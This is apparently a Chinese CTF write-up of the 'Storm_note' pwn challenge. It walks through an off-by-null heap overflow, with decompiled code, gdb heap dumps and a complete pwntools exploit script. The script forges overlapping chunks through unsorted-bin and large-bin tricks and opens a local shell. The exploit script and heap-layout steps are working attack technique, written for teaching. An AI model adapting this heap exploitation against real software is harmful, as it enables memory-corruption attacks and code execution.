pwn-堆溢出off-by-one

0x00:前言

off-by-one是堆溢出中比較有意思的一類漏洞,漏洞主要原理是 malloc 本來分配了0x20的內存,結果可以寫 0x21 字節的數據,多寫了一個,影響了下一個內存塊的頭部信息,進而造成了被利用的可能,這裏就以西湖論劍的一道題目來講解這個漏洞

0x01:例子

題目鏈接

http://file.eonew.cn/ctf/pwn/Storm_note

解題思路

首先檢測一下程序檢測,該開的都開了

Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec Storm_note 
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

首先用IDA觀察一下程序,有delete_note,backdoor,alloc_note,edit_note四個功能

 while ( 1 )
  {
    while ( 1 )
    {
      menu();
      _isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      delete_note();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 666 )
        backdoor();
LABEL_15:
      puts("Invalid choice");
    }
    else if ( v3 == 1 )
    {
      alloc_note();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_15;
      edit_note();
    }
  }

init_proc

程序執行之前有這個初始化函數,可以看到關閉了 fastbin 機制

ssize_t init_proc()
{
  ssize_t result; // rax
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( !mallopt(1, 0) )
    exit(-1);
  if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)2882338816LL )
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
  if ( result != 48 )
    exit(-1);
  return result;
}

alloc_note

可以看到輸入size之後,程序會calloc一塊內存(calloc類比malloc),存放note,而note_size則存放在note後面

  for ( i = 0; i <= 15 && note[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("full!");
  }
  else
  {
    puts("size ?");
    _isoc99_scanf("%d", &v1);
    if ( v1 > 0 && v1 <= 0xFFFFF )
    {
      note[i] = calloc(v1, 1uLL);
      note_size[i] = v1;
      puts("Done");
    }
    else
    {
      puts("Invalid size");
    }
  }

note存放信息如下

bss:0000000000202060 ?? ?? ?? ?? ?? ??+note_size dd 10h dup(?)       ; DATA XREF: alloc_note+E1↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+                              ; edit_note+8E↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+                              ; delete_note+BE↑o
.bss:00000000002020A0                   public note
.bss:00000000002020A0                   ; _QWORD note[16]
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+note dq 10h dup(?)            ; DATA XREF: alloc_note+2D↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; alloc_note+C6↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+A8↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+D0↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+82↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+A2↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+_bss ends

edit_note

edit 從 note 和 note_size 中根據索引取出需要編輯的堆塊的指針和 size,使用 read 函數來進行輸入。之後將末尾的值賦值爲 0,這裏存在 off by null 漏洞。

  puts("Index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    puts("Content: ");
    v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
    *(_BYTE *)(note[v1] + v2) = 0; // off-by-one
    puts("Done");
  }
  else
  {
    puts("Invalid index");
  }

delete_note

可以看到輸入 index 之後程序 free 掉 note 和 note_size 之後做了清零操作,不存在UAF漏洞

  puts("Index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    free((void *)note[v1]);
    note[v1] = 0LL;
    note_size[v1] = 0;
  }
  else
  {
    puts("Invalid index");
  }

backdoor

可以看到system("/bin/sh");函數,函數首先讀 0x30 長度,然後輸入的內容和 mmap 段映射的內容相同即 getshell

  v1 = __readfsqword(0x28u);
  puts("If you can open the lock, I will let you in");
  read(0, &buf, 0x30uLL);
  if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
    system("/bin/sh");
  exit(0);

思路

  • Chunk Extend 使得chunk重疊
  • 控制chunk
  • 控制unsort bin和large bin
  • overlapping 僞造 fake_chunk
  • 觸發後門

這裏首先我們連續申請7塊chunk,這裏是三個一組,兩組 chunk 中的中間一個大的 chunk 就是我們利用的目標,用它來進行 overlapping 並把它放進 largebin 中

alloc_note(0x18)  # 0
alloc_note(0x508)  # 1
alloc_note(0x18)  # 2

alloc_note(0x18)  # 3
alloc_note(0x508)  # 4
alloc_note(0x18)  # 5

alloc_note(0x18)  # 6

佈局如下圖

在這裏插入圖片描述

然後我們僞造 prev_size

# 改pre_size爲0x500
edit_note(1, 'a'*0x4f0 + p64(0x500))

調試可以看到

gdb-peda$ x/30gx 0x55dc2ede84f0
0x55dc2ede84f0:	0x6161616161616161	0x6161616161616161
0x55dc2ede8500:	0x6161616161616161	0x6161616161616161
0x55dc2ede8510:	0x6161616161616161	0x6161616161616161
0x55dc2ede8520:	0x0000000000000500	0x0000000000000000 => fake prev_size
0x55dc2ede8530:	0x0000000000000000	0x0000000000000021
0x55dc2ede8540:	0x0000000000000000	0x0000000000000000
0x55dc2ede8550:	0x0000000000000000	0x0000000000000021
0x55dc2ede8560:	0x0000000000000000	0x0000000000000000
0x55dc2ede8570:	0x0000000000000000	0x0000000000000511
0x55dc2ede8580:	0x0000000000000000	0x0000000000000000
0x55dc2ede8590:	0x0000000000000000	0x0000000000000000
0x55dc2ede85a0:	0x0000000000000000	0x0000000000000000
0x55dc2ede85b0:	0x0000000000000000	0x0000000000000000
0x55dc2ede85c0:	0x0000000000000000	0x0000000000000000
0x55dc2ede85d0:	0x0000000000000000	0x0000000000000000

釋放掉chunk 1至unsort bin然後創建chunk 0來觸發off by null,這裏選擇 size 爲 0x18 的目的是爲了能夠填充到下一個 chunk 的 prev_size,這裏就能通過溢出 00 到下一個 chunk 的 size 字段,使之低字節覆蓋爲 0。

delete_note(1)
# off by null 將1號塊的size字段覆蓋爲0x500
edit_note(0, 'b'*(0x18))

調試可以看到chunk1已經被放進了 unsorted bin

gdb-peda$ x/20gx 0x562071ea0020-32
0x562071ea0000:	0x0000000000000000	0x0000000000000021
0x562071ea0010:	0x6262626262626262	0x6262626262626262
0x562071ea0020:	0x6262626262626262	0x0000000000000500
0x562071ea0030:	0x00007fe9f2875b78	0x00007fe9f2875b78
0x562071ea0040:	0x0000000000000000	0x0000000000000000
0x562071ea0050:	0x6161616161616161	0x6161616161616161
0x562071ea0060:	0x6161616161616161	0x6161616161616161
0x562071ea0070:	0x6161616161616161	0x6161616161616161
0x562071ea0080:	0x6161616161616161	0x6161616161616161
0x562071ea0090:	0x6161616161616161	0x6161616161616161

接下來我們申請兩塊chunk,因爲關閉了 fastbin 機制,所以會從unsorted bin上,然後delete掉它們,那麼就會觸發這兩個堆塊合併,從而覆蓋到剛剛的 0x4d8 這個塊

alloc_note(0x18)
alloc_note(0x4d8)
delete_note(1)
delete_note(2)  # unlink進行前向extend

調試如下,index爲7的指向的地方和unsortedbin裏面的chunk已經重疊了

gdb-peda$ x/20gx 0x5564795ff000
0x5564795ff000:	0x0000000000000000	0x0000000000000021
0x5564795ff010:	0x6262626262626262	0x6262626262626262
0x5564795ff020:	0x6262626262626262	0x0000000000000531
0x5564795ff030:	0x00007f8305be4b78	0x00007f8305be4b78
0x5564795ff040:	0x0000000000000000	0x0000000000000000
0x5564795ff050:	0x0000000000000000	0x0000000000000000
0x5564795ff060:	0x0000000000000000	0x0000000000000000
0x5564795ff070:	0x0000000000000000	0x0000000000000000
0x5564795ff080:	0x0000000000000000	0x0000000000000000
0x5564795ff090:	0x0000000000000000	0x0000000000000000

alloc_note(0x30)之後2號塊與7號塊交疊,這裏 add(0x30) 的 size 爲 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指針

alloc_note(0x30)  # 1
alloc_note(0x4e8)  # 2

接下來的原理同上

edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18)  # 4
alloc_note(0x4d8)  # 8
delete_note(4)
delete_note(5)
alloc_note(0x40)  # 4

接下來需要我們控制 unsort bin 和 large bin

delete_note(2)
alloc_note(0x4e8)    # 2
delete_note(2)

由於unsorted bin是FIFO(隊列模式),所以可以先刪除2號塊,再申請他,由於先檢查隊列尾部,也就是原先4號塊的chunk部分,發現chunk大小不夠大,然後將其放入large bin中。該chunk由8號塊控制。然後,繼續刪除2號塊,那麼此時unsorted bin裏還剩下2號塊,該部分通過7號塊來控制。

gdb-peda$ x/20gx 0x55609685a000
0x55609685a000:	0x0000000000000000	0x0000000000000021
0x55609685a010:	0x6262626262626262	0x6262626262626262
0x55609685a020:	0x6262626262626262	0x0000000000000041
0x55609685a030:	0x0000000000000000	0x0000000000000000
0x55609685a040:	0x0000000000000000	0x0000000000000000
0x55609685a050:	0x0000000000000000	0x0000000000000000
0x55609685a060:	0x0000000000000000	0x00000000000004f1 => chunk 2
0x55609685a070:	0x00007fec67d73b78	0x00007fec67d73b78 => unsorted bin
0x55609685a080:	0x0000000000000000	0x0000000000000000
0x55609685a090:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/20gx 0x55609685a570
0x55609685a570:	0x6161616161616161	0x0000000000000051
0x55609685a580:	0x0000000000000000	0x0000000000000000
0x55609685a590:	0x0000000000000000	0x0000000000000000
0x55609685a5a0:	0x0000000000000000	0x0000000000000000
0x55609685a5b0:	0x0000000000000000	0x0000000000000000
0x55609685a5c0:	0x0000000000000000	0x00000000000004e1 => chunk 5
0x55609685a5d0:	0x00007fec67d73f98	0x00007fec67d73f98
0x55609685a5e0:	0x000055609685a5c0	0x000055609685a5c0
0x55609685a5f0:	0x0000000000000000	0x0000000000000000
0x55609685a600:	0x0000000000000000	0x0000000000000000

接下來我們僞造 fake_chunk,通過 chunk7 控制 chunk2

content_addr = 0xabcd0100
fake_chunk =  content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1)    # size
payload += p64(0) + p64(fake_chunk)         # bk
edit_note(7,payload)

同樣的通過 edit(8) 來控制 chunk5

payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size 
payload2 += p64(0) + p64(fake_chunk+8)       
payload2 += p64(0) + p64(fake_chunk-0x18-5) 

edit_note(8,payload2)

接下來我們需要觸發後門

edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)

sh.interactive()

exp如下

from pwn import *

r = process('./Storm_note')
elf = ELF('./Storm_note')
context.log_level = "debug"

if args.G:
    gdb.attach(r)


def alloc_note(size):
    r.sendline('1')
    r.recvuntil('?')
    r.sendline(str(size))
    r.recvuntil('Choice')

def edit_note(idx, mes):
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
    r.recvuntil('Content')
    r.send(mes)
    r.recvuntil('Choice')

def delete_note(idx):
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
    r.recvuntil('Choice')

alloc_note(0x18)  # 0
alloc_note(0x508)  # 1
alloc_note(0x18)  # 2

alloc_note(0x18)  # 3
alloc_note(0x508)  # 4
alloc_note(0x18)  # 5

alloc_note(0x18)  # 6

edit_note(1, 'a'*0x4f0 + p64(0x500))
delete_note(1)
edit_note(0, 'b'*(0x18))

alloc_note(0x18)
alloc_note(0x4d8)

delete_note(1)
delete_note(2)

alloc_note(0x30)
alloc_note(0x4e8)

# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18)  # 4
alloc_note(0x4d8)  # 8
delete_note(4)
delete_note(5)
alloc_note(0x40)  # 4

# 將2號塊和4號塊分別加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8)    # 2
delete_note(2)

content_addr = 0xabcd0100
fake_chunk =  content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1)    # size
payload += p64(0) + p64(fake_chunk)         # bk
edit_note(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size 
payload2 += p64(0) + p64(fake_chunk+8)       
payload2 += p64(0) + p64(fake_chunk-0x18-5) 

edit_note(8,payload2)

# 0xabcd00f0
alloc_note(0x48)

edit_note(2, p64(0) * 8)
r.sendline('666')
r.sendline('\x00'*0x30)

r.interactive()

運行結果如下

Thunder_J@Thunder_J-virtual-machine:~/桌面$ python exp.py 
[+] Starting local process './Storm_note': pid 16030
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ ls
exp.py    HITCON-Training  Storm_note  test.py  vmware-tools-distrib
$ whoami
Thunder_J
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './Storm_note' stopped with exit code 0 (pid 16030)
[*] Got EOF while sending in interactive

0x02:總結

這種漏洞因爲只能利用一個字節,需要我們多去思考如何構造chunk

參考鏈接
http://blog.eonew.cn/archives/709
https://blog.csdn.net/weixin_40850881/article/details/80293143

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章